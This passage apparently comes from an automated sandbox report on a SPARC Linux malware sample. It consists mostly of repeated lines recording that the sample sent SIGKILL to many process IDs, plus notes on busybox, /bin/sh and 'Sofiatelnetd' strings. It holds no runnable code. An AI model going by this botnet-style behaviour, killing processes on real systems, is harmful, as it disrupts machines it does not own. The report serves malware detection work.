        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 7, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 8, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 9, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 10, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 11, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 12, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 13, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 14, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 15, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 16, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 17, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 18, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 19, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 20, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 21, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 22, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 23, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 24, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 25, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 26, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 27, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 28, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 29, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 30, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 35, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 77, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 78, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 79, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 80, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 81, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 82, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 83, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 84, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 85, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 86, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 88, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 89, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 91, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 92, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 93, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 94, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 95, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 96, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 97, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 98, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 99, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 100, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 101, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 102, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 103, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 104, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 105, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 106, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 107, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 108, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 109, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 110, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 111, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 112, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 113, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 114, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 115, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 116, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 117, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 118, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 119, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 120, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 121, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 122, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 123, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 124, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 125, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 126, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 127, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 128, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 129, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 130, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 131, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 132, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 134, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 142, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 145, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 158, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 202, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 203, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 204, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 205, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 206, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 207, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 216, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 219, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 220, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 221, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 222, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 223, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 224, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 225, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 226, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 227, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 228, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 229, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 230, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 231, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 232, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 233, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 234, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 235, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 236, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 237, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 238, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 239, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 240, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 241, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 242, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 243, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 244, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 245, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 246, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 247, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 248, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 249, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 250, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 251, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 252, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 253, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 254, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 255, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 257, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 258, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 259, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 260, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 261, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 262, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 263, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 264, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 265, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 266, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 267, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 268, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 269, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 270, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 271, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 272, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 273, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 274, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 275, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 276, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 291, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 293, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 298, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 299, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 303, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 304, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 306, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 307, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 308, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 309, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 310, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 311, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 312, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 313, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 314, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 315, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 316, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 317, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 318, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 319, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 320, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 321, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 322, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 323, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 324, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 325, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 326, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 327, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 328, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 332, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 347, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 371, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 378, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 418, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 419, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 508, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 518, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 519, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 656, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 657, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 658, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 659, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 672, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 674, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 676, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 679, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 680, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 1238, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 1320, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 1648, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 2496, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3455, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3709, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3710, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3711, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3712, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 5553, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 5733, result: unknownJump to behavior
        Source: Initial sampleString containing 'busybox' found: /bin/busybox
        Source: Initial sampleString containing 'busybox' found: %d/bin/busybox/bin/sh/var/Sofiatelnetd
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 2, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 3, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 4, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 5, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 6, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 7, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 8, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 9, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 10, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 11, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 12, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 13, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 14, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 15, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 16, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 17, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 18, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 19, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 20, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 21, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 22, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 23, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 24, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 25, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 26, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 27, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 28, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 29, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 30, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 35, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 77, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 78, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 79, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 80, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 81, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 82, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 83, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 84, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 85, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 86, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 88, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 89, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 91, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 92, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 93, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 94, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 95, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 96, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 97, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 98, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 99, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 100, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 101, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 102, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 103, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 104, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 105, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 106, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 107, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 108, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 109, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 110, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 111, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 112, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 113, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 114, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 115, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 116, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 117, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 118, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 119, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 120, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 121, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 122, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 123, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 124, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 125, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 126, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 127, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 128, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 129, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 130, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 131, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 132, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 134, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 142, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 145, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 158, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 202, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 203, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 204, result: successfulJump to behavior
        Source: /tmp/sparc.elf (PID: 5733)SIGKILL sent: pid: 205, result: successfulJump to behavior
